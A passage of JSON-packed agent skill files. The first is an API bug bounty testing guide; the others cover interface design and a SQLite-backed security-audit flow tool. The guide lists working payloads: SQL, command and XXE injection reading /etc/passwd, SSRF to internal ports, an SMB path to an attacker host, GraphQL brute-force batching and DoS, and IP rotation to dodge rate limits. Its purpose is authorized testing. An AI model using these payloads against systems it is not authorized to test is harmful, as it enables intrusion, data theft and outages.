Understanding of REST/GraphQL/SOAP protocols\n- Python for scripting\n- Target API endpoints and documentation (if available)\n\n## Outputs/Deliverables\n\n- Identified API vulnerabilities\n- IDOR exploitation proofs\n- Authentication bypass techniques\n- SQL injection points\n- Unauthorized data access documentation\n\n---\n\n## API Types Overview\n\n| Type | Protocol | Data Format | Structure |\n|------|----------|-------------|-----------|\n| SOAP | HTTP | XML | Header + Body |\n| REST | HTTP | JSON/XML/URL | Defined endpoints |\n| GraphQL | HTTP | Custom Query | Single endpoint |\n\n---\n\n## Core Workflow\n\n### Step 1: API Reconnaissance\n\nIdentify API type and enumerate endpoints:\n\n```bash\n# Check for Swagger/OpenAPI documentation\n/swagger.json\n/openapi.json\n/api-docs\n/v1/api-docs\n/swagger-ui.html\n\n# Use Kiterunner for API discovery\nkr scan https://target.com -w routes-large.kite\n\n# Extract paths from Swagger\npython3 json2paths.py swagger.json\n```\n\n### Step 2: Authentication Testing\n\n```bash\n# Test different login paths\n/api/mobile/login\n/api/v3/login\n/api/magic_link\n/api/admin/login\n\n# Check rate limiting on auth endpoints\n# If no rate limit → brute force possible\n\n# Test mobile vs web API separately\n# Don't assume same security controls\n```\n\n### Step 3: IDOR Testing\n\nInsecure Direct Object Reference is the most common API vulnerability:\n\n```bash\n# Basic IDOR\nGET /api/users/1234 → GET /api/users/1235\n\n# Even if ID is email-based, try numeric\n/?user_id=111 instead of /?user_id=user@mail.com\n\n# Test /me/orders vs /user/654321/orders\n```\n\n**IDOR Bypass Techniques:**\n\n```bash\n# Wrap ID in array\n{\"id\":111} → {\"id\":[111]}\n\n# JSON wrap\n{\"id\":111} → {\"id\":{\"id\":111}}\n\n# Send ID twice\nURL?id=<LEGIT>&id=<VICTIM>\n\n# Wildcard injection\n{\"user_id\":\"*\"}\n\n# Parameter pollution\n/api/get_profile?user_id=<victim>&user_id=<legit>\n{\"user_id\":<legit_id>,\"user_id\":<victim_id>}\n```\n\n### Step 4: Injection Testing\n\n**SQL Injection in JSON:**\n\n```json\n{\"id\":\"56456\"}                    → OK\n{\"id\":\"56456 AND 1=1#\"}           → OK  \n{\"id\":\"56456 AND 1=2#\"}           → OK\n{\"id\":\"56456 AND 1=3#\"}           → ERROR (vulnerable!)\n{\"id\":\"56456 AND sleep(15)#\"}     → SLEEP 15 SEC\n```\n\n**Command Injection:**\n\n```bash\n# Ruby on Rails\n?url=Kernel#open → ?url=|ls\n\n# Linux command injection\napi.url.com/endpoint?name=file.txt;ls%20/\n```\n\n**XXE Injection:**\n\n```xml\n<!DOCTYPE test [ <!ENTITY xxe SYSTEM \"file:///etc/passwd\"> ]>\n```\n\n**SSRF via API:**\n\n```html\n<object data=\"http://127.0.0.1:8443\"/>\n<img src=\"http://127.0.0.1:445\"/>\n```\n\n**.NET Path.Combine Vulnerability:**\n\n```bash\n# If .NET app uses Path.Combine(path_1, path_2)\n# Test for path traversal\nhttps://example.org/download?filename=a.png\nhttps://example.org/download?filename=C:\\inetpub\\wwwroot\\web.config\nhttps://example.org/download?filename=\\\\smb.dns.attacker.com\\a.png\n```\n\n### Step 5: Method Testing\n\n```bash\n# Test all HTTP methods\nGET /api/v1/users/1\nPOST /api/v1/users/1\nPUT /api/v1/users/1\nDELETE /api/v1/users/1\nPATCH /api/v1/users/1\n\n# Switch content type\nContent-Type: application/json → application/xml\n```\n\n---\n\n## GraphQL-Specific Testing\n\n### Introspection Query\n\nFetch entire backend schema:\n\n```graphql\n{__schema{queryType{name},mutationType{name},types{kind,name,description,fields(includeDeprecated:true){name,args{name,type{name,kind}}}}}}\n```\n\n**URL-encoded version:**\n\n```\n/graphql?query={__schema{types{name,kind,description,fields{name}}}}\n```\n\n### GraphQL IDOR\n\n```graphql\n# Try accessing other user IDs\nquery {\n  user(id: \"OTHER_USER_ID\") {\n    email\n    password\n    creditCard\n  }\n}\n```\n\n### GraphQL SQL/NoSQL Injection\n\n```graphql\nmutation {\n  login(input: {\n    email: \"test' or 1=1--\"\n    password: \"password\"\n  }) {\n    success\n    jwt\n  }\n}\n```\n\n### Rate Limit Bypass (Batching)\n\n```graphql\nmutation {login(input:{email:\"a@example.com\" password:\"password\"}){success jwt}}\nmutation {login(input:{email:\"b@example.com\" password:\"password\"}){success jwt}}\nmutation {login(input:{email:\"c@example.com\" password:\"password\"}){success jwt}}\n```\n\n### GraphQL DoS (Nested Queries)\n\n```graphql\nquery {\n  posts {\n    comments {\n      user {\n        posts {\n          comments {\n            user {\n              posts { ... }\n            }\n          }\n        }\n      }\n    }\n  }\n}\n```\n\n### GraphQL XSS\n\n```bash\n# XSS via GraphQL endpoint\nhttp://target.com/graphql?query={user(name:\"<script>alert(1)</script>\"){id}}\n\n# URL-encoded XSS\nhttp://target.com/example?id=%C/script%E%Cscript%Ealert('XSS')%C/script%E\n```\n\n### GraphQL Tools\n\n| Tool | Purpose |\n|------|---------|\n| GraphCrawler | Schema discovery |\n| graphw00f | Fingerprinting |\n| clairvoyance | Schema reconstruction |\n| InQL | Burp extension |\n| GraphQLmap | Exploitation |\n\n---\n\n## Endpoint Bypass Techniques\n\nWhen receiving 403/401, try these bypasses:\n\n```bash\n# Original blocked request\n/api/v1/users/sensitivedata → 403\n\n# Bypass attempts\n/api/v1/users/sensitivedata.json\n/api/v1/users/sensitivedata?\n/api/v1/users/sensitivedata/\n/api/v1/users/sensitivedata??\n/api/v1/users/sensitivedata%20\n/api/v1/users/sensitivedata%09\n/api/v1/users/sensitivedata#\n/api/v1/users/sensitivedata&details\n/api/v1/users/..;/sensitivedata\n```\n\n---\n\n## Output Exploitation\n\n### PDF Export Attacks\n\n```html\n<!-- LFI via PDF export -->\n<iframe src=\"file:///etc/passwd\" height=1000 width=800>\n\n<!-- SSRF via PDF export -->\n<object data=\"http://127.0.0.1:8443\"/>\n\n<!-- Port scanning -->\n<img src=\"http://127.0.0.1:445\"/>\n\n<!-- IP disclosure -->\n<img src=\"https://iplogger.com/yourcode.gif\"/>\n```\n\n### DoS via Limits\n\n```bash\n# Normal request\n/api/news?limit=100\n\n# DoS attempt\n/api/news?limit=9999999999\n```\n\n---\n\n## Common API Vulnerabilities Checklist\n\n| Vulnerability | Description |\n|---------------|-------------|\n| API Exposure | Unprotected endpoints exposed publicly |\n| Misconfigured Caching | Sensitive data cached incorrectly |\n| Exposed Tokens | API keys/tokens in responses or URLs |\n| JWT Weaknesses | Weak signing, no expiration, algorithm confusion |\n| IDOR / BOLA | Broken Object Level Authorization |\n| Undocumented Endpoints | Hidden admin/debug endpoints |\n| Different Versions | Security gaps in older API versions |\n| Rate Limiting | Missing or bypassable rate limits |\n| Race Conditions | TOCTOU vulnerabilities |\n| XXE Injection | XML parser exploitation |\n| Content Type Issues | Switching between JSON/XML |\n| HTTP Method Tampering | GET→DELETE/PUT abuse |\n\n---\n\n## Quick Reference\n\n| Vulnerability | Test Payload | Risk |\n|---------------|--------------|------|\n| IDOR | Change user_id parameter | High |\n| SQLi | `' OR 1=1--` in JSON | Critical |\n| Command Injection | `; ls /` | Critical |\n| XXE | DOCTYPE with ENTITY | High |\n| SSRF | Internal IP in params | High |\n| Rate Limit Bypass | Batch requests | Medium |\n| Method Tampering | GET→DELETE | High |\n\n---\n\n## Tools Reference\n\n| Category | Tool | URL |\n|----------|------|-----|\n| API Fuzzing | Fuzzapi | github.com/Fuzzapi/fuzzapi |\n| API Fuzzing | API-fuzzer | github.com/Fuzzapi/API-fuzzer |\n| API Fuzzing | Astra | github.com/flipkart-incubator/Astra |\n| API Security | apicheck | github.com/BBVA/apicheck |\n| API Discovery | Kiterunner | github.com/assetnote/kiterunner |\n| API Discovery | openapi_security_scanner | github.com/ngalongc/openapi_security_scanner |\n| API Toolkit | APIKit | github.com/API-Security/APIKit |\n| API Keys | API Guesser | api-guesser.netlify.app |\n| GUID | GUID Guesser | gist.github.com/DanaEpp/8c6803e542f094da5c4079622f9b4d18 |\n| GraphQL | InQL | github.com/doyensec/inql |\n| GraphQL | GraphCrawler | github.com/gsmith257-cyber/GraphCrawler |\n| GraphQL | graphw00f | github.com/dolevf/graphw00f |\n| GraphQL | clairvoyance | github.com/nikitastupin/clairvoyance |\n| GraphQL | batchql | github.com/assetnote/batchql |\n| GraphQL | graphql-cop | github.com/dolevf/graphql-cop |\n| Wordlists | SecLists | github.com/danielmiessler/SecLists |\n| Swagger Parser | Swagger-EZ | rhinosecuritylabs.github.io/Swagger-EZ |\n| Swagger Routes | swagroutes | github.com/amalmurali47/swagroutes |\n| API Mindmap | MindAPI | dsopas.github.io/MindAPI/play |\n| JSON Paths | json2paths | github.com/s0md3v/dump/tree/master/json2paths |\n\n---\n\n## Constraints\n\n**Must:**\n- Test mobile, web, and developer APIs separately\n- Check all API versions (/v1, /v2, /v3)\n- Validate both authenticated and unauthenticated access\n\n**Must Not:**\n- Assume same security controls across API versions\n- Skip testing undocumented endpoints\n- Ignore rate limiting checks\n\n**Should:**\n- Add `X-Requested-With: XMLHttpRequest` header to simulate frontend\n- Check archive.org for historical API endpoints\n- Test for race conditions on sensitive operations\n\n---\n\n## Examples\n\n### Example 1: IDOR Exploitation\n\n```bash\n# Original request (own data)\nGET /api/v1/invoices/12345\nAuthorization: Bearer <token>\n\n# Modified request (other user's data)\nGET /api/v1/invoices/12346\nAuthorization: Bearer <token>\n\n# Response reveals other user's invoice data\n```\n\n### Example 2: GraphQL Introspection\n\n```bash\ncurl -X POST https://target.com/graphql \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\"query\":\"{__schema{types{name,fields{name}}}}\"}'\n```\n\n---\n\n## Troubleshooting\n\n| Issue | Solution |\n|-------|----------|\n| API returns nothing | Add `X-Requested-With: XMLHttpRequest` header |\n| 401 on all endpoints | Try adding `?user_id=1` parameter |\n| GraphQL introspection disabled | Use clairvoyance for schema reconstruction |\n| Rate limited | Use IP rotation or batch requests |\n| Can't find endpoints | Check Swagger, archive.org, JS files |\n","frontmatter":{"name":"api-fuzzing-bug-bounty","description":"This skill should be used when the user asks to \"test API security\", \"fuzz APIs\", \"find IDOR vulnerabilities\", \"test REST API\", \"test GraphQL\", \"API penetration testing\", \"bug bounty API testing\", or needs guidance on API security assessment techniques.","metadata":{"author":"zebbern","version":"1.1"}},"isInternal":false,"tokens":2729,"sizeBytes":10286},{"name":"SKILL.md","path":"skills/api-shape-explorer/SKILL.md","rawUrl":"https://raw.githubusercontent.com/zebbern/claude-code-guide/HEAD/skills/api-shape-explorer/SKILL.md","title":"api-shape-explorer","category":"anthropic-skill","format":"markdown","content":"---\nname: api-shape-explorer\ndescription: Generate multiple radically different interface designs for a module using parallel sub-agents. Use when user wants to design an API, explore interface options, compare module shapes, or mentions \"design it twice\".\n---\n\n# Design an Interface\n\nBased on \"Design It Twice\" from \"A Philosophy of Software Design\": your first idea is unlikely to be the best. Generate multiple radically different designs, then compare.\n\n## Workflow\n\n### 1. Gather Requirements\n\nBefore designing, understand:\n\n- [ ] What problem does this module solve?\n- [ ] Who are the callers? (other modules, external users, tests)\n- [ ] What are the key operations?\n- [ ] Any constraints? (performance, compatibility, existing patterns)\n- [ ] What should be hidden inside vs exposed?\n\nAsk: \"What does this module need to do? Who will use it?\"\n\n### 2. Generate Designs (Parallel Sub-Agents)\n\nSpawn 3+ sub-agents simultaneously using Task tool. Each must produce a **radically different** approach.\n\n```\nPrompt template for each sub-agent:\n\nDesign an interface for: [module description]\n\nRequirements: [gathered requirements]\n\nConstraints for this design: [assign a different constraint to each agent]\n- Agent 1: \"Minimize method count - aim for 1-3 methods max\"\n- Agent 2: \"Maximize flexibility - support many use cases\"\n- Agent 3: \"Optimize for the most common case\"\n- Agent 4: \"Take inspiration from [specific paradigm/library]\"\n\nOutput format:\n1. Interface signature (types/methods)\n2. Usage example (how caller uses it)\n3. What this design hides internally\n4. Trade-offs of this approach\n```\n\n### 3. Present Designs\n\nShow each design with:\n\n1. **Interface signature** - types, methods, params\n2. **Usage examples** - how callers actually use it in practice\n3. **What it hides** - complexity kept internal\n\nPresent designs sequentially so user can absorb each approach before comparison.\n\n### 4. Compare Designs\n\nAfter showing all designs, compare them on:\n\n- **Interface simplicity**: fewer methods, simpler params\n- **General-purpose vs specialized**: flexibility vs focus\n- **Implementation efficiency**: does shape allow efficient internals?\n- **Depth**: small interface hiding significant complexity (good) vs large interface with thin implementation (bad)\n- **Ease of correct use** vs **ease of misuse**\n\nDiscuss trade-offs in prose, not tables. Highlight where designs diverge most.\n\n### 5. Synthesize\n\nOften the best design combines insights from multiple options. Ask:\n\n- \"Which design best fits your primary use case?\"\n- \"Any elements from other designs worth incorporating?\"\n\n## Evaluation Criteria\n\nFrom \"A Philosophy of Software Design\":\n\n**Interface simplicity**: Fewer methods, simpler params = easier to learn and use correctly.\n\n**General-purpose**: Can handle future use cases without changes. But beware over-generalization.\n\n**Implementation efficiency**: Does interface shape allow efficient implementation? Or force awkward internals?\n\n**Depth**: Small interface hiding significant complexity = deep module (good). Large interface with thin implementation = shallow module (avoid).\n\n## Anti-Patterns\n\n- Don't let sub-agents produce similar designs - enforce radical difference\n- Don't skip comparison - the value is in contrast\n- Don't implement - this is purely about interface shape\n- Don't evaluate based on implementation effort\n","frontmatter":{"name":"api-shape-explorer","description":"Generate multiple radically different interface designs for a module using parallel sub-agents. Use when user wants to design an API, explore interface options, compare module shapes, or mentions \"design it twice\"."},"isInternal":false,"tokens":707,"sizeBytes":3365},{"name":"COMMANDS.md","path":"skills/audit-flow/COMMANDS.md","rawUrl":"https://raw.githubusercontent.com/zebbern/claude-code-guide/HEAD/skills/audit-flow/COMMANDS.md","title":"Audit-flow Skill","category":"anthropic-skill","format":"markdown","content":"# Audit Flow Commands\n\nDetailed SQL commands for the audit-flow skill.\n\n**CRITICAL: Read `schema.sql` before running ANY SQLite command.** Understand tables, columns, constraints, CHECK values, and views FIRST. Never assume schema from context.\n\n## Database Setup\n\n```bash\npython .claude/skills/audit-flow/scripts/audit.py init\n# Or manually:\nmkdir -p .audit && sqlite3 .audit/audit.db < .claude/skills/audit-flow/schema.sql\n```\n\n## Session Management\n\n### Create Session\n\nFirst capture git context:\n\n```bash\ngit_commit=$(git rev-parse HEAD 2>/dev/null || echo \"\")\ngit_branch=$(git branch --show-current 2>/dev/null || echo \"\")\ngit_dirty=$(test -n \"$(git status --porcelain 2>/dev/null)\" && echo 1 || echo 0)\n```\n\nThen create session:\n\n```sql\nINSERT INTO sessions (id, name, purpose, description, granularity, git_commit, git_branch, git_dirty)\nVALUES (\n    lower(hex(randomblob(8))),\n    '{name}',\n    '{purpose}',  -- security-audit | documentation | compliance | ideation | brainstorming | debugging | architecture-review | incident-review\n    '{description}',\n    '{granularity}',  -- fine | coarse\n    '{git_commit}',\n    '{git_branch}',\n    {git_dirty}  -- 0 or 1\n);\n```\n\n### List Sessions\n\n```sql\nSELECT * FROM v_session_summary ORDER BY created_at DESC;\n```\n\n## Flow Management\n\n### Create Flow\n\n```sql\nINSERT INTO flows (session_id, name, entry_point, description)\nVALUES (\n    '{session_id}',\n    '{flow-name}',\n    '{entry point description}',\n    '{optional description}'\n);\n```\n\n### List Flows in Session\n\n```sql\nSELECT * FROM v_flow_summary WHERE session_id = '{session_id}';\n```\n\n## Tuple Operations\n\n### Add Tuple\n\n```sql\nINSERT INTO tuples (flow_id, layer, action, subject, file_ref, props, notes, status)\nVALUES (\n    {flow_id},\n    '{layer}',      -- CODE | API | NETWORK | AUTH | DATA\n    '{action}',     -- e.g., \"onClick handler\"\n    '{subject}',    -- e.g., \"LoginButton\"\n    '{file_ref}',   -- e.g., \"src/components/LoginButton.tsx:24\"\n    '{}',           -- JSON props\n    '{notes}',\n    'traced'        -- traced | verified | concern | deleted\n);\n```\n\n### View Tuples\n\n```sql\n-- All tuples in flow\nSELECT id, layer, action, subject, file_ref, status\nFROM tuples WHERE flow_id = {flow_id} AND status != 'deleted'\nORDER BY timestamp;\n\n-- Filter by layer\nSELECT * FROM tuples WHERE flow_id = {flow_id} AND layer = 'AUTH';\n\n-- View concerns\nSELECT * FROM v_concerns WHERE flow_name = '{flow_name}';\n```\n\n### Update Tuple Status\n\n```sql\nUPDATE tuples SET status = 'concern' WHERE id = {id};\nUPDATE tuples SET status = 'deleted' WHERE id = {id};  -- Soft delete\n```\n\n## Edge Operations\n\n### Linear Edge\n\n```sql\nINSERT INTO edges (from_tuple, to_tuple, relation)\nVALUES ({from_id}, {to_id}, '{relation}');\n-- Relations: TRIGGERS | READS | WRITES | VALIDATES | TRANSFORMS\n```\n\n### Branching Edge (with condition)\n\n```sql\nINSERT INTO edges (from_tuple, to_tuple, relation, condition)\nVALUES\n    ({branch_point}, {path_a}, 'BRANCHES', 'condition A'),\n    ({branch_point}, {path_b}, 'BRANCHES', 'condition B');\n```\n\n### Merging Edge\n\n```sql\nINSERT INTO edges (from_tuple, to_tuple, relation)\nVALUES ({converging_tuple}, {merge_point}, 'MERGES');\n```\n\n### View Edges\n\n```sql\nSELECT e.*, t1.action as from_action, t2.action as to_action\nFROM edges e\nJOIN tuples t1 ON e.from_tuple = t1.id\nJOIN tuples t2 ON e.to_tuple = t2.id\nWHERE t1.flow_id = {flow_id};\n```\n\n### Detect Non-Linear Points\n\n```sql\nSELECT * FROM v_branch_merge_points WHERE flow_name = '{flow_name}';\n```\n\n## Findings\n\n### Add Finding\n\n```sql\nINSERT INTO findings (session_id, flow_id, severity, category, description, tuple_refs)\nVALUES (\n    '{session_id}',\n    {flow_id},      -- Optional: NULL for session-level finding\n    '{severity}',   -- critical | high | medium | low | info\n    '{category}',   -- e.g., \"token-storage\", \"auth-bypass\"\n    '{description}',\n    '[1, 2, 3]'     -- JSON array of tuple IDs\n);\n```\n\n### View Findings\n\n```sql\n-- By severity\nSELECT * FROM findings WHERE session_id = '{session_id}'\nORDER BY CASE severity\n    WHEN 'critical' THEN 1 WHEN 'high' THEN 2\n    WHEN 'medium' THEN 3 WHEN 'low' THEN 4 ELSE 5\nEND;\n\n-- Flow-specific findings\nSELECT * FROM findings WHERE flow_id = {flow_id};\n```\n\n## Export\n\n### Using CLI\n\n```bash\n# Export all flows in session\npython .claude/skills/audit-flow/scripts/audit.py export {session}\n\n# Export specific flow\npython .claude/skills/audit-flow/scripts/audit.py export {session} -f {flow}\n\n# Export specific format\npython .claude/skills/audit-flow/scripts/audit.py export {session} -F mermaid\n```\n\n## Validation\n\n### Validate Flow Data\n\n```bash\npython .claude/skills/audit-flow/scripts/audit.py validate {session}\n```\n\nChecks for common issues before export:\n\n| Check             | Level | Description                                  |\n| ----------------- | ----- | -------------------------------------------- |\n| Branch conditions | ERROR | BRANCHES edges must have condition labels    |\n| Orphan nodes      | WARN  | Nodes with no edges (disconnected from flow) |\n| Duplicate labels  | WARN  | Multiple nodes with same action text         |\n| Node count > 40   | WARN  | Diagram readability threshold                |\n| Node count > 60   | ERROR | Diagram must be split into sub-flows         |\n| No entry point    | WARN  | No node with zero in-degree                  |\n\n### Output Structure\n\n```\ndocs/audits/{session-name}/\n├── README.md           # Session summary\n├── session.json        # Full session data\n├── session.yaml        # Full session data (YAML)\n├── {flow-name}.md      # Flow report\n└── {flow-name}.mermaid # Flow diagram\n```\n\n### Mermaid Output Features\n\n- **Step numbering**: Topological BFS order from entry point\n- **Entry point marker**: Green stadium-shape node (`([label]):::entryPoint`)\n- **Layer subgraphs**: Nodes sorted by step number within each layer\n- **Relation-specific arrows**:\n  - `-->` solid: TRIGGERS, VALIDATES, TRANSFORMS, BRANCHES, MERGES\n  - `-.->` dotted: READS (data consumption, no mutation)\n  - `==>` thick: WRITES (data mutation)\n- **Observation separation**: Pure concern chains in OBSERVATIONS subgraph\n- **Branch conditions**: Always shown on edge labels\n- **Label deduplication**: Duplicate actions auto-suffixed with subject\n- **Legend**: Style key at bottom of diagram\n- **Direction**: Default TD, override with `--direction LR`\n\n### Export with Direction\n\n```bash\n# Default top-down\npython .claude/skills/audit-flow/scripts/audit.py export {session} -F mermaid\n\n# Horizontal layout for wide decision trees\npython .claude/skills/audit-flow/scripts/audit.py export {session} -F mermaid --direction LR\n```\n\nExample output:\n\n```mermaid\nflowchart TD\n    subgraph CODE\n        T1([\"1. fetch API\"]):::entryPoint\n    end\n    subgraph AUTH\n        T2[\"2. check token\"]\n        T3[\"3. proceed\"]\n        T4[\"4. refresh token\"]\n    end\n    subgraph API\n        T5[\"5. call endpoint\"]\n    end\n\n    T1 -->|\"TRIGGERS\"| T2\n    T2 -->|\"BRANCHES<br/>token valid\"| T3\n    T2 -->|\"BRANCHES<br/>token expired\"| T4\n    T3 -->|\"TRIGGERS\"| T5\n    T4 -->|\"MERGES\"| T5\n\n    classDef entryPoint fill:#2ecc71,stroke:#27ae60,stroke-width:3px\n    classDef concern fill:#ff6b6b,stroke:#c92a2a\n    classDef observation fill:#ffd43b,stroke:#fab005,stroke-dasharray:5 5\n\n    subgraph Legend\n        L1([\"Entry point\"]):::entryPoint\n        L2[\"Flow step\"]\n        L3[\"Concern\"]:::concern\n    end\n```\n\n## Git Merge Driver\n\n### Setup (once per clone)\n\n```bash\npython .claude/skills/audit-flow/scripts/audit.py git-setup\n```\n\nConfigures:\n\n- `merge.sqlite-audit.driver` — auto-merges `audit.db` on `git merge`\n- `diff.sqlite.textconv` — shows SQL dump in `git diff`\n\nRequires `.gitattributes` (already in repo):\n\n```\n.audit/audit.db diff=sqlite merge=sqlite-audit\n```\n\n### How the merge driver works\n\nGit calls: `audit.py db-merge %O %A %B`\n\n- `%O` = common ancestor (unused — full union merge)\n- `%A` = ours (result written here)\n- `%B` = theirs\n\nThe driver:\n\n1. Opens both SQLite DBs directly\n2. Merges sessions by `name` (later `updated_at` wins)\n3. Flows follow parent session winner\n4. Tuples/edges follow parent flow\n5. Findings deduped by `(session_name, category, description)`\n6. All INTEGER PKs remapped; foreign keys updated\n7. Result written to `%A`, exit 0 = success\n\n### Manual merge (if needed)\n\n```bash\n# If the auto-driver fails (exit 1), merge manually:\npython .claude/skills/audit-flow/scripts/audit.py db-merge ancestor.db ours.db theirs.db\n```\n\n## CSV Backup (Optional)\n\nCSV commands still available for backup/portability:\n\n```bash\npython .claude/skills/audit-flow/scripts/audit.py csv-export               # DB → .audit/csv/*.csv\npython .claude/skills/audit-flow/scripts/audit.py csv-import               # CSV → DB\npython .claude/skills/audit-flow/scripts/audit.py csv-merge <theirs_dir>   # Merge CSV sets\n```\n\nCSV uses `QUOTE_ALL`, deterministic PK sort, multiline-safe (RFC 4180).\n\n## Views Reference\n\n| View                    | Purpose                                 |\n| ----------------------- | --------------------------------------- |\n| `v_session_summary`     | Sessions with flow/tuple/finding counts |\n| `v_flow_summary`        | Flows with tuple/concern counts         |\n| `v_layer_distribution`  | Layer breakdown per flow                |\n| `v_concerns`            | All tuples marked as concern            |\n| `v_branch_merge_points` | Non-linear nodes (branches/merges)      |\n","isInternal":false,"tokens":2461,"sizeBytes":9428},{"name":"EXAMPLES.md","path":"skills/audit-flow/EXAMPLES.md","rawUrl":"https://raw.githubusercontent.com/zebbern/claude-code-guide/HEAD/skills/audit-flow/EXAMPLES.md","title":"Audit-flow Skill","category":"anthropic-skill","format":"markdown","content":"# Audit Flow Examples\n\n## Case 0: Non-Linear API Flow (Branching & Merging)\n\n```\n> /audit-flow start\nName: api-auth-audit\nPurpose: security-audit\nGranularity: fine\n\n> /audit-flow flow api-request\nEntry: \"Frontend makes authenticated API call\"\n```\n\n### Flow with Branching\n\n```\n[CODE]    fetch API         → apiClient.ts:45\n[AUTH]    check token       → authMiddleware.ts:12\n  ├─[BRANCHES: token valid]──→ [AUTH] proceed\n  └─[BRANCHES: token expired]──→ [AUTH] refresh token\n                                      │\n[AUTH]    refresh token     → tokenService.ts:88\n          │\n          └─[MERGES]──→ [API] call endpoint\n[API]     call endpoint     → handler.ts:156\n[DATA]    return response   → serializer.ts:23\n```\n\n### SQL for Branching\n\n```sql\n-- Create branch point\nINSERT INTO tuples (flow_id, layer, action, subject) VALUES\n(1, 'AUTH', 'check token', 'authMiddleware');  -- ID: 2\n\n-- Create branch targets\nINSERT INTO tuples (flow_id, layer, action, subject) VALUES\n(1, 'AUTH', 'proceed', 'valid path'),          -- ID: 3\n(1, 'AUTH', 'refresh token', 'tokenService');  -- ID: 4\n\n-- Branch edges with conditions\nINSERT INTO edges (from_tuple, to_tuple, relation, condition) VALUES\n(2, 3, 'BRANCHES', 'token valid'),\n(2, 4, 'BRANCHES', 'token expired');\n\n-- Merge point\nINSERT INTO tuples (flow_id, layer, action, subject) VALUES\n(1, 'API', 'call endpoint', 'handler');        -- ID: 5\n\n-- Merge edges\nINSERT INTO edges (from_tuple, to_tuple, relation) VALUES\n(3, 5, 'TRIGGERS'),\n(4, 5, 'MERGES');\n```\n\n### Mermaid Output\n\n```mermaid\nflowchart TD\n    subgraph CODE\n        T1([\"1. fetch API\"]):::entryPoint\n    end\n    subgraph AUTH\n        T2[\"2. check token\"]\n        T3[\"3. proceed\"]\n        T4[\"4. refresh token\"]\n    end\n    subgraph API\n        T5[\"5. call endpoint\"]\n    end\n    subgraph DATA\n        T6[\"6. return response\"]\n    end\n\n    T1 -->|\"TRIGGERS\"| T2\n    T2 -->|\"BRANCHES<br/>token valid\"| T3\n    T2 -->|\"BRANCHES<br/>token expired\"| T4\n    T3 -->|\"TRIGGERS\"| T5\n    T4 -->|\"MERGES\"| T5\n    T5 -.->|\"READS\"| T6\n\n    classDef entryPoint fill:#2ecc71,stroke:#27ae60,stroke-width:3px\n    classDef concern fill:#ff6b6b,stroke:#c92a2a\n\n    subgraph Legend\n        L1([\"Entry point\"]):::entryPoint\n        L2[\"Flow step\"]\n    end\n```\n\n---\n\n## Case 1: Auth Login Flow (Security Audit)\n\n```\n> /audit-flow start\nName: auth-login-security\nPurpose: security-audit\nGranularity: fine\n\n> /audit-flow flow google-oauth\nEntry: \"User clicks Sign in with Google\"\n```\n\n### Expected Trace\n\n```\n[CODE]    onClick handler         → src/components/LoginButton.tsx:24\n[AUTH]    OAuth redirect          → redirect to identity provider\n[NETWORK] GET /oauth/authorize    → IdP authorization endpoint\n[AUTH]    authz code received     → callback handler\n[NETWORK] POST /oauth/token       → token exchange\n[AUTH]    access_token issued     → {scopes, expiry, claims}\n[DATA]    JWT decoded             → extract org_id, user_id\n[CODE]    setSession()            → store token in memory/cookie\n[AUTH]    token in headers        → Authorization: Bearer\n[NETWORK] GET /api/me             → validate token backend\n[CODE]    middleware validates    → services/auth/middleware.go:56\n[DATA]    user context built      → {org, project, permissions}\n```\n\n### Security Checks\n\nMark as `concern` and create findings for:\n\n| Check         | What to look for                                            | Severity |\n| ------------- | ----------------------------------------------------------- | -------- |\n| Token storage | localStorage (bad) vs httpOnly cookie (good) vs memory (ok) | high     |\n| Token logging | console.log, error handlers leaking tokens                  | critical |\n| PKCE          | code_verifier/code_challenge present?                       | high     |\n| Refresh flow  | Refresh token rotation? Secure storage?                     | high     |\n| Token expiry  | Short-lived access tokens? Proper refresh?                  | medium   |\n| CORS          | Proper origin validation?                                   | medium   |\n\n### Sample Findings\n\n```sql\nINSERT INTO findings (session_id, severity, category, description, tuple_refs)\nVALUES\n('auth-login-security', 'high', 'token-storage',\n 'Access token stored in localStorage instead of httpOnly cookie - vulnerable to XSS', '[7]'),\n('auth-login-security', 'medium', 'token-logging',\n 'Token visible in Redux DevTools state - disable in production', '[7]');\n```\n\n---\n\n## Case 1b: Observations vs Flow Steps (Anti-Pattern)\n\n### Wrong: Chaining Observations as Tuples\n\nWhen you discover a security concern, do NOT create observation tuples chained with VALIDATES:\n\n```sql\n-- WRONG: These are analyst notes, not system actions\nINSERT INTO tuples (flow_id, layer, action, subject, status) VALUES\n(1, 'CODE', 'NO cross-tab sync', 'TabManager', 'concern'),          -- T10\n(1, 'AUTH', 'Replay attack possible', 'tokenService', 'concern');    -- T11\n\nINSERT INTO edges (from_tuple, to_tuple, relation)\nVALUES (10, 11, 'VALIDATES');  -- WRONG: creates unreadable concern chain\n```\n\nThis produces diagrams where analyst notes are indistinguishable from system flow steps.\n\n### Correct: Use Findings\n\n```sql\n-- CORRECT: Observation recorded as a finding\nINSERT INTO findings (session_id, flow_id, severity, category, description, tuple_refs)\nVALUES (\n    'my-session', 1, 'medium', 'concurrency',\n    'No cross-tab synchronization: replay attack possible when multiple tabs refresh tokens simultaneously',\n    '[196, 226, 227]'  -- References the ACTUAL flow tuples where the issue manifests\n);\n```\n\nFindings appear in the Markdown export report, not cluttering the visual flow diagram.\n\n---\n\n## Case 2: Chat Question Flow (Documentation)\n\n```\n> /audit-flow start\nName: chat-documentation\nPurpose: documentation\nGranularity: coarse\n\n> /audit-flow flow question-to-results\nEntry: \"User submits question in chat UI\"\n```\n\n### Expected Trace\n\n```\n[CODE]    onSubmit handler        → src/components/ChatInput.tsx\n[NETWORK] POST /api/chat/stream   → chat service\n[AUTH]    token validated         → middleware extracts org_id, project_id\n[API]     chat service receives   → services/chat/main.py\n[DATA]    load project context    → knowledge-base service\n[API]     agent invoked           → services/chat/agent/\n[DATA]    schema lookup           → get relevant tables/columns\n[CODE]    SQL generation          → agent node\n[NETWORK] POST /analytics/query   → analytics service\n[DATA]    query execution         → OLAP engine\n[DATA]    results transform       → format for frontend\n[NETWORK] SSE stream              → chunked response to frontend\n[CODE]    render results          → ChatMessage component\n```\n\n### Documentation Output\n\nThe export should produce:\n\n- Sequence diagram of service interactions\n- Data flow: question → SQL → results\n- Auth context propagation across services\n\n### Mermaid Output\n\n```mermaid\nflowchart TD\n    subgraph Frontend\n        A[ChatInput.tsx]\n        M[ChatMessage]\n    end\n\n    subgraph Chat Service\n        B[POST /api/chat/stream]\n        C[Auth Middleware]\n        D[AI Agent]\n        E[SQL Generator]\n    end\n\n    subgraph Knowledge Service\n        F[Project Context]\n        G[Schema Lookup]\n    